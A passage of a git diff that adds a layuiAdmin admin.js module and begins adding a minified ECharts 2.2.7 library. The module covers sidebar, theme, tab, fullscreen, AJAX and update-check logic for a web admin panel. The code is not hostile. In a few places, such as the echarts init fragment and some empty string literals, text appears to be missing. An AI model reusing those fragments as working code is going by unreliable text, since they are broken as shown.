options.elemVercode.focus(); + countDown(); + success && success(res); + } + }, options.ajax)); + }); + } + + //屏幕类型 + , + screen: function() { + var width = $win.width(); + if (width > 1200) { + return 3; //大屏幕 + } else if (width > 992) { + return 2; //中屏幕 + } else if (width > 768) { + return 1; //小屏幕 + } else { + return 0; //超小屏幕 + } + } + + //侧边伸缩 + , + sideFlexible: function(status) { + var app = container, + iconElem = $('#' + APP_FLEXIBLE), + screen = admin.screen(); + + //设置状态,PC:默认展开、移动:默认收缩 + if (status === 'spread') { + //切换到展开状态的 icon,箭头:← + iconElem.removeClass(ICON_SPREAD).addClass(ICON_SHRINK); + + //移动:从左到右位移;PC:清除多余选择器恢复默认 + if (screen < 2) { + app.addClass(APP_SPREAD_SM); + } else { + app.removeClass(APP_SPREAD_SM); + } + + app.removeClass(SIDE_SHRINK) + } else { + //切换到搜索状态的 icon,箭头:→ + iconElem.removeClass(ICON_SHRINK).addClass(ICON_SPREAD); + + //移动:清除多余选择器恢复默认;PC:从右往左收缩 + if (screen < 2) { + app.removeClass(SIDE_SHRINK); + } else { + app.addClass(SIDE_SHRINK); + } + + app.removeClass(APP_SPREAD_SM) + } + + layui.event.call(this, setter.MOD_NAME, 'side({*})', { + status: status + }); + } + + //重置主体区域表格尺寸 + , + resizeTable: function(delay) { + var that = this, + runResizeTable = function() { + that.tabsBody(admin.tabsPage.index).find('.layui-table-view').each(function() { + var tableID = $(this).attr('lay-id'); + layui.table.resize(tableID); + }); + }; + if (!layui.table) return; + delay ? setTimeout(runResizeTable, delay) : runResizeTable(); + } + + //主题设置 + , + theme: function(options) { + var theme = setter.theme, + local = layui.data(setter.tableName), + id = 'LAY_layadmin_theme', + style = document.createElement('style'), + styleText = laytpl([ + //主题色 + '.layui-side-menu,', '.layadmin-pagetabs .layui-tab-title li:after,', + '.layadmin-pagetabs .layui-tab-title li.layui-this:after,', '.layui-layer-admin .layui-layer-title,', + '.layadmin-side-shrink .layui-side-menu .layui-nav>.layui-nav-item>.layui-nav-child', + '{background-color:{{d.color.main}} !important;}' + + //选中色 + , '.layui-nav-tree .layui-this,', '.layui-nav-tree .layui-this>a,', + '.layui-nav-tree .layui-nav-child dd.layui-this,', '.layui-nav-tree .layui-nav-child dd.layui-this a', + '{background-color:{{d.color.selected}} !important;}' + + //logo + , '.layui-layout-admin .layui-logo{background-color:{{d.color.logo || d.color.main}} !important;}' + + //头部色 + , '{{# if(d.color.header){ }}', '.layui-layout-admin .layui-header{background-color:{{ d.color.header }};}', + '.layui-layout-admin .layui-header a,', '.layui-layout-admin .layui-header a cite{color: #f8f8f8;}', + '.layui-layout-admin .layui-header a:hover{color: #fff;}', + '.layui-layout-admin .layui-header .layui-nav .layui-nav-more{border-top-color: #fbfbfb;}', + '.layui-layout-admin .layui-header .layui-nav .layui-nav-mored{border-color: transparent; border-bottom-color: #fbfbfb;}', + '.layui-layout-admin .layui-header .layui-nav .layui-this:after, .layui-layout-admin .layui-header .layui-nav-bar{background-color: #fff; background-color: rgba(255,255,255,.5);}', + '.layadmin-pagetabs .layui-tab-title li:after{display: none;}', '{{# } }}' + ].join('')).render(options = $.extend({}, local.theme, options)), + styleElem = document.getElementById(id); + + //添加主题样式 + if ('styleSheet' in style) { + style.setAttribute('type', 'text/css'); + style.styleSheet.cssText = styleText; + } else { + style.innerHTML = styleText; + } + style.id = id; + + styleElem && $body[0].removeChild(styleElem); + $body[0].appendChild(style); + $body.attr('layadmin-themealias', options.color.alias); + + //本地存储记录 + local.theme = local.theme || {}; + layui.each(options, function(key, value) { + local.theme[key] = value; + }); + layui.data(setter.tableName, { + key: 'theme', + value: local.theme + }); + } + + //初始化主题 + , + initTheme: function(index) { + var theme = setter.theme; + index = index || 0; + if (theme.color[index]) { + theme.color[index].index = index; + admin.theme({ + color: theme.color[index] + }); + } + } + + //记录最近一次点击的页面标签数据 + , + tabsPage: {} + + //获取标签页的头元素 + , + tabsHeader: function(index) { + return $('#LAY_app_tabsheader').children('li').eq(index || 0); + } + + //获取页面标签主体元素 + , + tabsBody: function(index) { + return $(APP_BODY).find('.' + TABS_BODY).eq(index || 0); + } + + //切换页面标签主体 + , + tabsBodyChange: function(index) { + admin.tabsHeader(index).attr('lay-attr', layui.router().href); + admin.tabsBody(index).addClass(SHOW).siblings().removeClass(SHOW); + events.rollPage('auto', index); + } + + //resize事件管理 + , + resize: function(fn) { + var router = layui.router(), + key = router.path.join('-'); + + if (admin.resizeFn[key]) { + $win.off('resize', admin.resizeFn[key]); + delete admin.resizeFn[key]; + } + + if (fn === 'off') return; //如果是清除 resize 事件,则终止往下执行 + + fn(), admin.resizeFn[key] = fn; + $win.on('resize', admin.resizeFn[key]); + }, + resizeFn: {}, + runResize: function() { + var router = layui.router(), + key = router.path.join('-'); + admin.resizeFn[key] && admin.resizeFn[key](); + }, + delResize: function() { + this.resize('off'); + } + + //关闭当前 pageTabs + , + closeThisTabs: function() { + if (!admin.tabsPage.index) return; + $(TABS_HEADER).eq(admin.tabsPage.index).find('.layui-tab-close').trigger('click'); + } + + //全屏 + , + fullScreen: function() { + var ele = document.documentElement, + reqFullScreen = ele.requestFullScreen || ele.webkitRequestFullScreen || + ele.mozRequestFullScreen || ele.msRequestFullscreen; + if (typeof reqFullScreen !== 'undefined' && reqFullScreen) { + reqFullScreen.call(ele); + }; + } + + //退出全屏 + , + exitScreen: function() { + var ele = document.documentElement + if (document.exitFullscreen) { + document.exitFullscreen(); + } else if (document.mozCancelFullScreen) { + document.mozCancelFullScreen(); + } else if (document.webkitCancelFullScreen) { + document.webkitCancelFullScreen(); + } else if (document.msExitFullscreen) { + document.msExitFullscreen(); + } + } + //纠正单页路由格式 + , + correctRouter: function(href) { + if (!/^\//.test(href)) href = '/' + href; + + //纠正首尾 + return href.replace(/^(\/+)/, '/') + .replace(new RegExp('\/' + setter.entry + '$'), '/'); //过滤路由最后的默认视图文件名(如:index) + }, + useAjax: function(url, method, data = [], headers = []) { + var request = setter.request; + if(request.tokenName){ + headers[request.tokenName] = layui.data(setter.tableName)[request.tokenName] || ''; + } + var retData = {}; + $.ajax({ + url: setter.apidomain + url, + type: method, + data: data, + async: false, + dataType: "json", + headers: headers, + crossDomain: true, + complete(xhr, status) { + retData = { + code: 0, + msg: '请求失败', + data: '', + status: xhr.status, + statusText: xhr.statusText + }; + var responseData = xhr.responseJSON; + if (responseData !== 'undefined') { + retData.msg = responseData.msg; + if (status === 'success') { + retData.code = 1; + retData.data = responseData.data; + } + } + } + }); + return retData; + } + }; + + //事件 + var events = admin.events = { + //伸缩 + flexible: function(othis) { + var iconElem = othis.find('#' + APP_FLEXIBLE), + isSpread = iconElem.hasClass(ICON_SPREAD); + admin.sideFlexible(isSpread ? 'spread' : null); //控制伸缩 + admin.resizeTable(350); + } + + //刷新 + , + refresh: function() { + layui.index.render(); + } + + //输入框搜索 + , + serach: function(othis) { + othis.off('keypress').on('keypress', function(e) { + if (!this.value.replace(/\s/g, '')) return; + //回车跳转 + if (e.keyCode === 13) { + var href = othis.attr('lay-action'), + text = othis.attr('lay-text') || '搜索'; + + href = href + this.value; + text = text + ' ' + admin.escape(this.value) + ''; + + //打开标签页 + location.hash = admin.correctRouter(href) + + //如果搜索关键词已经打开,则刷新页面即可 + events.serach.keys || (events.serach.keys = {}); + events.serach.keys[admin.tabsPage.index] = this.value; + if (this.value === events.serach.keys[admin.tabsPage.index]) { + events.refresh(othis); + } + + //清空输入框 + this.value = ''; + } + }); + } + + //点击消息 + , + message: function(othis) { + othis.find('.layui-badge-dot').remove(); + } + + //弹出主题面板 + , + theme: function() { + admin.popupRight({ + id: 'LAY_adminPopupTheme', + success: function() { + view(this.id).render('system/theme') + } + }); + } + + //便签 + , + note: function(othis) { + var mobile = admin.screen() < 2, + note = layui.data(setter.tableName).note; + + events.note.index = admin.popup({ + title: '便签', + shade: 0, + offset: [ + '41px', (mobile ? null : (othis.offset().left - 250) + 'px') + ], + anim: -1, + id: 'LAY_adminNote', + skin: 'layadmin-note layui-anim layui-anim-upbit', + content: '', + resize: false, + success: function(layero, index) { + var textarea = layero.find('textarea'), + value = note === undefined ? '便签中的内容会存储在本地,这样即便你关掉了浏览器,在下次打开时,依然会读取到上一次的记录。是个非常小巧实用的本地备忘录' : note; + + textarea.val(value).focus().on('keyup', function() { + layui.data(setter.tableName, { + key: 'note', + value: this.value + }); + }); + } + }) + } + + //全屏 + , + fullscreen: function(othis) { + var SCREEN_FULL = 'layui-icon-screen-full', + SCREEN_REST = 'layui-icon-screen-restore', + iconElem = othis.children("i"); + + if (iconElem.hasClass(SCREEN_FULL)) { + admin.fullScreen(); + iconElem.addClass(SCREEN_REST).removeClass(SCREEN_FULL); + } else { + admin.exitScreen(); + iconElem.addClass(SCREEN_FULL).removeClass(SCREEN_REST); + } + } + + //弹出关于面板 + , + about: function() { + admin.popupRight({ + id: 'LAY_adminPopupAbout', + success: function() { + view(this.id).render('system/about') + } + }); + } + + //弹出更多面板 + , + more: function() { + admin.popupRight({ + id: 'LAY_adminPopupMore', + success: function() { + view(this.id).render('system/more') + } + }); + } + + //返回上一页 + , + back: function() { + history.back(); + } + + //主题设置 + , + setTheme: function(othis) { + var index = othis.data('index'), + nextIndex = othis.siblings('.layui-this').data('index'); + + if (othis.hasClass(THIS)) return; + + othis.addClass(THIS).siblings('.layui-this').removeClass(THIS); + admin.initTheme(index); + } + + //左右滚动页面标签 + , + rollPage: function(type, index) { + var tabsHeader = $('#LAY_app_tabsheader'), + liItem = tabsHeader.children('li'), + scrollWidth = tabsHeader.prop('scrollWidth'), + outerWidth = tabsHeader.outerWidth(), + tabsLeft = parseFloat(tabsHeader.css('left')); + + //右左往右 + if (type === 'left') { + if (!tabsLeft && tabsLeft <= 0) return; + + //当前的left减去可视宽度,用于与上一轮的页标比较 + var prefLeft = -tabsLeft - outerWidth; + + liItem.each(function(index, item) { + var li = $(item), + left = li.position().left; + + if (left >= prefLeft) { + tabsHeader.css('left', -left); + return false; + } + }); + } else if (type === 'auto') { //自动滚动 + (function() { + var thisLi = liItem.eq(index), + thisLeft; + + if (!thisLi[0]) return; + thisLeft = thisLi.position().left; + + //当目标标签在可视区域左侧时 + if (thisLeft < -tabsLeft) { + return tabsHeader.css('left', -thisLeft); + } + + //当目标标签在可视区域右侧时 + if (thisLeft + thisLi.outerWidth() >= outerWidth - tabsLeft) { + var subLeft = thisLeft + thisLi.outerWidth() - (outerWidth - tabsLeft); + liItem.each(function(i, item) { + var li = $(item), + left = li.position().left; + + //从当前可视区域的最左第二个节点遍历,如果减去最左节点的差 > 目标在右侧不可见的宽度,则将该节点放置可视区域最左 + if (left + tabsLeft > 0) { + if (left - tabsLeft > subLeft) { + tabsHeader.css('left', -left); + return false; + } + } + }); + } + }()); + } else { + //默认向左滚动 + liItem.each(function(i, item) { + var li = $(item), + left = li.position().left; + + if (left + li.outerWidth() >= outerWidth - tabsLeft) { + tabsHeader.css('left', -left); + return false; + } + }); + } + } + + //向右滚动页面标签 + , + leftPage: function() { + events.rollPage('left'); + } + + //向左滚动页面标签 + , + rightPage: function() { + events.rollPage(); + } + + //关闭当前标签页 + , + closeThisTabs: function() { + admin.closeThisTabs(); + } + + //关闭其它标签页 + , + closeOtherTabs: function(type) { + var TABS_REMOVE = 'LAY-system-pagetabs-remove'; + if (type === 'all') { + $(TABS_HEADER + ':gt(0)').remove(); + $(APP_BODY).find('.' + TABS_BODY + ':gt(0)').remove(); + } else { + $(TABS_HEADER).each(function(index, item) { + if (index && index != admin.tabsPage.index) { + $(item).addClass(TABS_REMOVE); + admin.tabsBody(index).addClass(TABS_REMOVE); + } + }); + $('.' + TABS_REMOVE).remove(); + } + } + + //关闭全部标签页 + , + closeAllTabs: function() { + events.closeOtherTabs('all'); + location.hash = ''; + } + + //遮罩 + , + shade: function() { + admin.sideFlexible(); + } + + //检查更新 + , + update: function() { + $.ajax({ + type: 'get', + dataType: 'jsonp', + data: { + name: 'layuiAdmin', + version: admin.v + }, + url: 'https://fly.layui.com/api/product_update/', + success: function(res) { + if (res.status === 0) { + if (res.version === admin.v.replace(/\s|pro|std/g, '')) { + layer.alert('当前版本已经是最新版本'); + } else { + layer.alert('检查到更新,是否前往下载?', { + btn: ['更新', '暂不'] + }, function(index) { + layer.close(index); + layer.open({ + type: 2, + content: 'https://fly.layui.com/user/product/', + area: ['100%', '100%'], + title: '检查更新' + }); + }); + } + } else if (res.status == 1) { + layer.alert(res.msg, { + btn: ['登入', '暂不'] + }, function(index) { + layer.close(index); + layer.open({ + type: 2, + content: 'https://fly.layui.com/user/login/', + area: ['100%', '100%'], + title: '检查更新' + }); + }); + } else { + layer.msg(res.msg || res.code, { + shift: 6 + }); + } + }, + error: function(e) { + layer.msg('请求异常,请重试', { + shift: 6 + }); + } + }); + } + }; + + //初始 + ! function() { + //主题初始化,本地主题记录优先,其次为 initColorIndex + var local = layui.data(setter.tableName); + if (local.theme) { + admin.theme(local.theme); + } else if (setter.theme) { + admin.initTheme(setter.theme.initColorIndex); + } + + //禁止水平滚动 + $body.addClass('layui-layout-body'); + + //移动端强制不开启页面标签功能 + if (admin.screen() < 1) { + delete setter.pageTabs; + } + + //不开启页面标签时 + if (!setter.pageTabs) { + container.addClass('layadmin-tabspage-none'); + } + + //低版本IE提示 + if (device.ie && device.ie < 10) { + view.error('IE' + device.ie + '下访问可能不佳,推荐使用:Chrome / Firefox / Edge 等高级浏览器', { + offset: 'auto', + id: 'LAY_errorIE' + }); + } + + }(); + + //admin.prevRouter = {}; //上一个路由 + + //监听 hash 改变侧边状态 + admin.on('hash(side)', function(router) { + var path = router.path, + getData = function(item) { + return { + list: item.children('.layui-nav-child'), + name: item.data('name'), + jump: item.data('jump') + } + }, + sideMenu = $('#' + SIDE_MENU), + SIDE_NAV_ITEMD = 'layui-nav-itemed' + + //捕获对应菜单 + , + matchMenu = function(list) { + var pathURL = admin.correctRouter(path.join('/')); + list.each(function(index1, item1) { + var othis1 = $(item1), + data1 = getData(othis1), + listChildren1 = data1.list.children('dd'), + matched1 = path[0] == data1.name || (index1 === 0 && !path[0]) || + (data1.jump && pathURL == admin.correctRouter(data1.jump)); + + listChildren1.each(function(index2, item2) { + var othis2 = $(item2), + data2 = getData(othis2), + listChildren2 = data2.list.children('dd'), + matched2 = (path[0] == data1.name && path[1] == data2.name) || + (data2.jump && pathURL == admin.correctRouter(data2.jump)); + + listChildren2.each(function(index3, item3) { + var othis3 = $(item3), + data3 = getData(othis3), + matched3 = (path[0] == data1.name && path[1] == data2.name && path[2] == data3.name) || + (data3.jump && pathURL == admin.correctRouter(data3.jump)) + + if (matched3) { + var selected = data3.list[0] ? SIDE_NAV_ITEMD : THIS; + othis3.addClass(selected).siblings().removeClass(selected); //标记选择器 + return false; + } + + }); + + if (matched2) { + var selected = data2.list[0] ? SIDE_NAV_ITEMD : THIS; + othis2.addClass(selected).siblings().removeClass(selected); //标记选择器 + return false + } + + }); + + if (matched1) { + var selected = data1.list[0] ? SIDE_NAV_ITEMD : THIS; + othis1.addClass(selected).siblings().removeClass(selected); //标记选择器 + return false; + } + + }); + } + + //重置状态 + sideMenu.find('.' + THIS).removeClass(THIS); + + //移动端点击菜单时自动收缩 + if (admin.screen() < 2) admin.sideFlexible(); + + //开始捕获 + matchMenu(sideMenu.children('li')); + }); + + //监听侧边导航点击事件 + element.on('nav(layadmin-system-side-menu)', function(elem) { + if (elem.siblings('.layui-nav-child')[0] && container.hasClass(SIDE_SHRINK)) { + admin.sideFlexible('spread'); + layer.close(elem.data('index')); + }; + admin.tabsPage.type = 'nav'; + }); + + //监听选项卡的更多操作 + element.on('nav(layadmin-pagetabs-nav)', function(elem) { + var dd = elem.parent(); + dd.removeClass(THIS); + dd.parent().removeClass(SHOW); + }); + + //同步路由 + var setThisRouter = function(othis) { + var layid = othis.attr('lay-id'), + attr = othis.attr('lay-attr'), + index = othis.index(); + + location.hash = layid === setter.entry ? '/' : (attr || '/'); + admin.tabsBodyChange(index); + }, + TABS_HEADER = '#LAY_app_tabsheader>li'; + + //页面标签点击 + $body.on('click', TABS_HEADER, function() { + var othis = $(this), + index = othis.index(); + + admin.tabsPage.type = 'tab'; + admin.tabsPage.index = index; + + //如果是iframe类型的标签页 + if (othis.attr('lay-attr') === 'iframe') { + return admin.tabsBodyChange(index); + }; + + + setThisRouter(othis); //同步路由 + admin.runResize(); //执行resize事件,如果存在的话 + admin.resizeTable(); //重置当前主体区域的表格尺寸 + }); + + //监听 tabspage 删除 + element.on('tabDelete(layadmin-layout-tabs)', function(obj) { + var othis = $(TABS_HEADER + '.layui-this'); + + obj.index && admin.tabsBody(obj.index).remove(); + setThisRouter(othis); + + //移除resize事件 + admin.delResize(); + }); + + //页面跳转 + $body.on('click', '*[lay-href]', function() { + var othis = $(this), + href = othis.attr('lay-href'), + router = layui.router(); + + admin.tabsPage.elem = othis; + //admin.prevRouter[router.path[0]] = router.href; //记录上一次各菜单的路由信息 + + //执行跳转 + location.hash = admin.correctRouter(href); + + //如果为当前页,则执行刷新 + if (admin.correctRouter(href) === router.href) { + admin.events.refresh(); + } + }); + + //点击事件 + $body.on('click', '*[layadmin-event]', function() { + var othis = $(this), + attrEvent = othis.attr('layadmin-event'); + events[attrEvent] && events[attrEvent].call(this, othis); + }); + + //tips + $body.on('mouseenter', '*[lay-tips]', function() { + var othis = $(this); + + if (othis.parent().hasClass('layui-nav-item') && !container.hasClass(SIDE_SHRINK)) return; + + var tips = othis.attr('lay-tips'), + offset = othis.attr('lay-offset'), + direction = othis.attr('lay-direction'), + index = layer.tips(tips, this, { + tips: direction || 1, + time: -1, + success: function(layero, index) { + if (offset) { + layero.css('margin-left', offset + 'px'); + } + } + }); + othis.data('index', index); + }).on('mouseleave', '*[lay-tips]', function() { + layer.close($(this).data('index')); + }); + + //窗口resize事件 + var resizeSystem = layui.data.resizeSystem = function() { + //layer.close(events.note.index); + layer.closeAll('tips'); + + if (!resizeSystem.lock) { + setTimeout(function() { + admin.sideFlexible(admin.screen() < 2 ? '' : 'spread'); + delete resizeSystem.lock; + }, 100); + } + + resizeSystem.lock = true; + } + $win.on('resize', layui.data.resizeSystem); + + //接口输出 + exports('admin', admin); +}); diff --git a/src/lib/extend/echarts.js b/src/lib/extend/echarts.js new file mode 100644 index 0000000..7af448c --- /dev/null +++ b/src/lib/extend/echarts.js @@ -0,0 +1,39 @@ +!function(e){var t,i;!function(){function e(e,t){if(!t)return e;if(0===e.indexOf(".")){var i=t.split("/"),n=e.split("/"),a=i.length-1,o=n.length,r=0,s=0;e:for(var l=0;o>l;l++)switch(n[l]){case"..":if(!(a>r))break e;r++,s++;break;case".":s++;break;default:break e}return i.length=a-r,n=n.slice(s),i.concat(n).join("/")}return e}function n(t){function i(i,r){if("string"==typeof i){var s=n[i];return s||(s=o(e(i,t)),n[i]=s),s}i instanceof Array&&(r=r||function(){},r.apply(this,a(i,r,t)))}var n={};return i}function a(i,n,a){for(var s=[],l=r[a],h=0,m=Math.min(i.length,n.length);m>h;h++){var V,U=e(i[h],a);switch(U){case"require":V=l&&l.require||t;break;case"exports":V=l.exports;break;case"module":V=l;break;default:V=o(U)}s.push(V)}return s}function o(e){var t=r[e];if(!t)throw new Error("No "+e);if(!t.defined){var i=t.factory,n=i.apply(this,a(t.deps||[],i,e));"undefined"!=typeof n&&(t.exports=n),t.defined=1}return t.exports}var r={};i=function(e,t,i){r[e]={id:e,deps:t,factory:i,defined:0,exports:{},require:n(e)}},t=n("")}(),i("echarts",["echarts/echarts"],function(e){return e}),i("echarts/echarts",["require","./config","zrender/tool/util","zrender/tool/event","zrender/tool/env","zrender","zrender/config","./chart/island","./component/toolbox","./component","./component/title","./component/tooltip","./component/legend","./util/ecData","./chart","zrender/tool/color","./component/timeline","zrender/shape/Image","zrender/loadingEffect/Bar","zrender/loadingEffect/Bubble","zrender/loadingEffect/DynamicLine","zrender/loadingEffect/Ring","zrender/loadingEffect/Spin","zrender/loadingEffect/Whirling","./theme/macarons","./theme/infographic"],function(e){function t(){r.Dispatcher.call(this)}function i(e){e.innerHTML="",this._themeConfig={},this.dom=e,this._connected=!1,this._status={dragIn:!1,dragOut:!1,needRefresh:!1},this._curEventType=!1,this._chartList=[],this._messageCenter=new t,this._messageCenterOutSide=new t,this.resize=this.resize(),this._init()}function n(e,t,i,n,a){for(var o=e._chartList,r=o.length;r--;){var s=o[r];"function"==typeof s[t]&&s[t](i,n,a)}}var a=e("./config"),o=e("zrender/tool/util"),r=e("zrender/tool/event"),s={},l=e("zrender/tool/env").canvasSupported,h=new Date-0,m={},V="_echarts_instance_";s.version="2.2.7",s.dependencies={zrender:"2.1.1"},s.init=function(t,n){var a=e("zrender");a.version.replace(".","")-0r;r++){var l=d[r],h=U[l];o[h]="_on"+l.toLowerCase(),i.on(h,this._onzrevent)}this.chart={},this.component={};var m=e("./chart/island");this._island=new m(this._themeConfig,this._messageCenter,i,{},this),this.chart.island=this._island;var V=e("./component/toolbox");this._toolbox=new V(this._themeConfig,this._messageCenter,i,{},this),this.component.toolbox=this._toolbox;var p=e("./component");p.define("title",e("./component/title")),p.define("tooltip",e("./component/tooltip")),p.define("legend",e("./component/legend")),(0===i.getWidth()||0===i.getHeight())&&console.error("Dom’s width & height should be ready before init.")},__onevent:function(e){e.__echartsId=e.__echartsId||this.id;var t=e.__echartsId===this.id;switch(this._curEventType||(this._curEventType=e.type),e.type){case a.EVENT.LEGEND_SELECTED:this._onlegendSelected(e);break;case a.EVENT.DATA_ZOOM:if(!t){var i=this.component.dataZoom;i&&(i.silence(!0),i.absoluteZoom(e.zoom),i.silence(!1))}this._ondataZoom(e);break;case a.EVENT.DATA_RANGE:t&&this._ondataRange(e);break;case a.EVENT.MAGIC_TYPE_CHANGED:if(!t){var n=this.component.toolbox;n&&(n.silence(!0),n.setMagicType(e.magicType),n.silence(!1))}this._onmagicTypeChanged(e);break;case a.EVENT.DATA_VIEW_CHANGED:t&&this._ondataViewChanged(e);break;case a.EVENT.TOOLTIP_HOVER:t&&this._tooltipHover(e);break;case a.EVENT.RESTORE:this._onrestore();break;case a.EVENT.REFRESH:t&&this._onrefresh(e);break;case a.EVENT.TOOLTIP_IN_GRID:case a.EVENT.TOOLTIP_OUT_GRID:if(t){if(this._connected){var o=this.component.grid;o&&(e.x=(e.event.zrenderX-o.getX())/o.getWidth(),e.y=(e.event.zrenderY-o.getY())/o.getHeight())}}else{var o=this.component.grid;o&&this._zr.trigger("mousemove",{connectTrigger:!0,zrenderX:o.getX()+e.x*o.getWidth(),zrenderY:o.getY()+e.y*o.getHeight()})}}if(this._connected&&t&&this._curEventType===e.type){for(var r in this._connected)this._connected[r].connectedEventHandler(e);this._curEventType=null}(!t||!this._connected&&t)&&(this._curEventType=null)},_onclick:function(e){if(n(this,"onclick",e),e.target){var t=this._eventPackage(e.target);t&&null!=t.seriesIndex&&this._messageCenter.dispatch(a.EVENT.CLICK,e.event,t,this)}},_ondblclick:function(e){if(n(this,"ondblclick",e),e.target){var t=this._eventPackage(e.target);t&&null!=t.seriesIndex&&this._messageCenter.dispatch(a.EVENT.DBLCLICK,e.event,t,this)}},_onmouseover:function(e){if(e.target){var t=this._eventPackage(e.target);t&&null!=t.seriesIndex&&this._messageCenter.dispatch(a.EVENT.HOVER,e.event,t,this)}},_onmouseout:function(e){if(e.target){var t=this._eventPackage(e.target);t&&null!=t.seriesIndex&&this._messageCenter.dispatch(a.EVENT.MOUSEOUT,e.event,t,this)}},_ondragstart:function(e){this._status={dragIn:!1,dragOut:!1,needRefresh:!1},n(this,"ondragstart",e)},_ondragenter:function(e){n(this,"ondragenter",e)},_ondragover:function(e){n(this,"ondragover",e)},_ondragleave:function(e){n(this,"ondragleave",e)},_ondrop:function(e){n(this,"ondrop",e,this._status),this._island.ondrop(e,this._status)},_ondragend:function(e){if(n(this,"ondragend",e,this._status),this._timeline&&this._timeline.ondragend(e,this._status),this._island.ondragend(e,this._status),this._status.needRefresh){this._syncBackupData(this._option);var t=this._messageCenter;t.dispatch(a.EVENT.DATA_CHANGED,e.event,this._eventPackage(e.target),this),t.dispatch(a.EVENT.REFRESH,null,null,this)}},_onlegendSelected:function(e){this._status.needRefresh=!1,n(this,"onlegendSelected",e,this._status),this._status.needRefresh&&this._messageCenter.dispatch(a.EVENT.REFRESH,null,null,this)},_ondataZoom:function(e){this._status.needRefresh=!1,n(this,"ondataZoom",e,this._status),this._status.needRefresh&&this._messageCenter.dispatch(a.EVENT.REFRESH,null,null,this)},_ondataRange:function(e){this._clearEffect(),this._status.needRefresh=!1,n(this,"ondataRange",e,this._status),this._status.needRefresh&&this._zr.refreshNextFrame()},_onmagicTypeChanged:function(){this._clearEffect(),this._render(this._toolbox.getMagicOption())},_ondataViewChanged:function(e){this._syncBackupData(e.option),this._messageCenter.dispatch(a.EVENT.DATA_CHANGED,null,e,this),this._messageCenter.dispatch(a.EVENT.REFRESH,null,null,this)},_tooltipHover:function(e){var t=[];n(this,"ontooltipHover",e,t)},_onrestore:function(){this.restore()},_onrefresh:function(e){this._refreshInside=!0,this.refresh(e),this._refreshInside=!1},_syncBackupData:function(e){this.component.dataZoom&&this.component.dataZoom.syncBackupData(e)},_eventPackage:function(t){if(t){var i=e("./util/ecData"),n=i.get(t,"seriesIndex"),a=i.get(t,"dataIndex");return a=-1!=n&&this.component.dataZoom?this.component.dataZoom.getRealDataIndex(n,a):a,{seriesIndex:n,seriesName:(i.get(t,"series")||{}).name,dataIndex:a,data:i.get(t,"data"),name:i.get(t,"name"),value:i.get(t,"value"),special:i.get(t,"special")}}},_noDataCheck:function(e){for(var t=e.series,i=0,n=t.length;n>i;i++)if(t[i].type==a.CHART_TYPE_MAP||t[i].data&&t[i].data.length>0||t[i].markPoint&&t[i].markPoint.data&&t[i].markPoint.data.length>0||t[i].markLine&&t[i].markLine.data&&t[i].markLine.data.length>0||t[i].nodes&&t[i].nodes.length>0||t[i].links&&t[i].links.length>0||t[i].matrix&&t[i].matrix.length>0||t[i].eventList&&t[i].eventList.length>0)return!1;var o=this._option&&this._option.noDataLoadingOption||this._themeConfig.noDataLoadingOption||a.noDataLoadingOption||{text:this._option&&this._option.noDataText||this._themeConfig.noDataText||a.noDataText,effect:this._option&&this._option.noDataEffect||this._themeConfig.noDataEffect||a.noDataEffect};return this.clear(),this.showLoading(o),!0},_render:function(t){if(this._mergeGlobalConifg(t),!this._noDataCheck(t)){var i=t.backgroundColor;if(i)if(l||-1==i.indexOf("rgba"))this.dom.style.backgroundColor=i;else{var n=i.split(",");this.dom.style.filter="alpha(opacity="+100*n[3].substring(0,n[3].lastIndexOf(")"))+")",n.length=3,n[0]=n[0].replace("a",""),this.dom.style.backgroundColor=n.join(",")+")"}this._zr.clearAnimation(),this._chartList=[];var o=e("./chart"),r=e("./component");(t.xAxis||t.yAxis)&&(t.grid=t.grid||{},t.dataZoom=t.dataZoom||{});for(var s,h,m,V=["title","legend","tooltip","dataRange","roamController","grid","dataZoom","xAxis","yAxis","polar"],U=0,d=V.length;d>U;U++)h=V[U],m=this.component[h],t[h]?(m?m.refresh&&m.refresh(t):(s=r.get(/^[xy]Axis$/.test(h)?"axis":h),m=new s(this._themeConfig,this._messageCenter,this._zr,t,this,h),this.component[h]=m),this._chartList.push(m)):m&&(m.dispose(),this.component[h]=null,delete this.component[h]);for(var p,c,u,y={},U=0,d=t.series.length;d>U;U++)c=t.series[U].type,c?y[c]||(y[c]=!0,p=o.get(c),p?(this.chart[c]?(u=this.chart[c],u.refresh(t)):u=new p(this._themeConfig,this._messageCenter,this._zr,t,this),this._chartList.push(u),this.chart[c]=u):console.error(c+" has not been required.")):console.error("series["+U+"] chart type has not been defined.");for(c in this.chart)c==a.CHART_TYPE_ISLAND||y[c]||(this.chart[c].dispose(),this.chart[c]=null,delete this.chart[c]);this.component.grid&&this.component.grid.refixAxisShape(this.component),this._island.refresh(t),this._toolbox.refresh(t),t.animation&&!t.renderAsImage?this._zr.refresh():this._zr.render();var g="IMG"+this.id,b=document.getElementById(g);t.renderAsImage&&l?(b?b.src=this.getDataURL(t.renderAsImage):(b=this.getImage(t.renderAsImage),b.id=g,b.style.position="absolute",b.style.left=0,b.style.top=0,this.dom.firstChild.appendChild(b)),this.un(),this._zr.un(),this._disposeChartList(),this._zr.clear()):b&&b.parentNode.removeChild(b),b=null,this._option=t}},restore:function(){this._clearEffect(),this._option=o.clone(this._optionRestore),this._disposeChartList(),this._island.clear(),this._toolbox.reset(this._option,!0),this._render(this._option)},refresh:function(e){this._clearEffect(),e=e||{};var t=e.option;!this._refreshInside&&t&&(t=this.getOption(),o.merge(t,e.option,!0),o.merge(this._optionRestore,e.option,!0),this._toolbox.reset(t)),this._island.refresh(t),this._toolbox.refresh(t),this._zr.clearAnimation();for(var i=0,n=this._chartList.length;n>i;i++)this._chartList[i].refresh&&this._chartList[i].refresh(t);this.component.grid&&this.component.grid.refixAxisShape(this.component),this._zr.refresh()},_disposeChartList:function(){this._clearEffect(),this._zr.clearAnimation();for(var e=this._chartList.length;e--;){var t=this._chartList[e];if(t){var i=t.type;this.chart[i]&&delete this.chart[i],this.component[i]&&delete this.component[i],t.dispose&&t.dispose()}}this._chartList=[]},_mergeGlobalConifg:function(t){for(var i=["backgroundColor","calculable","calculableColor","calculableHolderColor","nameConnector","valueConnector","animation","animationThreshold","animationDuration","animationDurationUpdate","animationEasing","addDataAnimation","symbolList","DRAG_ENABLE_TIME"],n=i.length;n--;){var o=i[n];null==t[o]&&(t[o]=null!=this._themeConfig[o]?this._themeConfig[o]:a[o])}var r=t.color;r&&r.length||(r=this._themeConfig.color||a.color),this._zr.getColor=function(t){var i=e("zrender/tool/color");return i.getColor(t,r)},l||(t.animation=!1,t.addDataAnimation=!1)},setOption:function(e,t){return 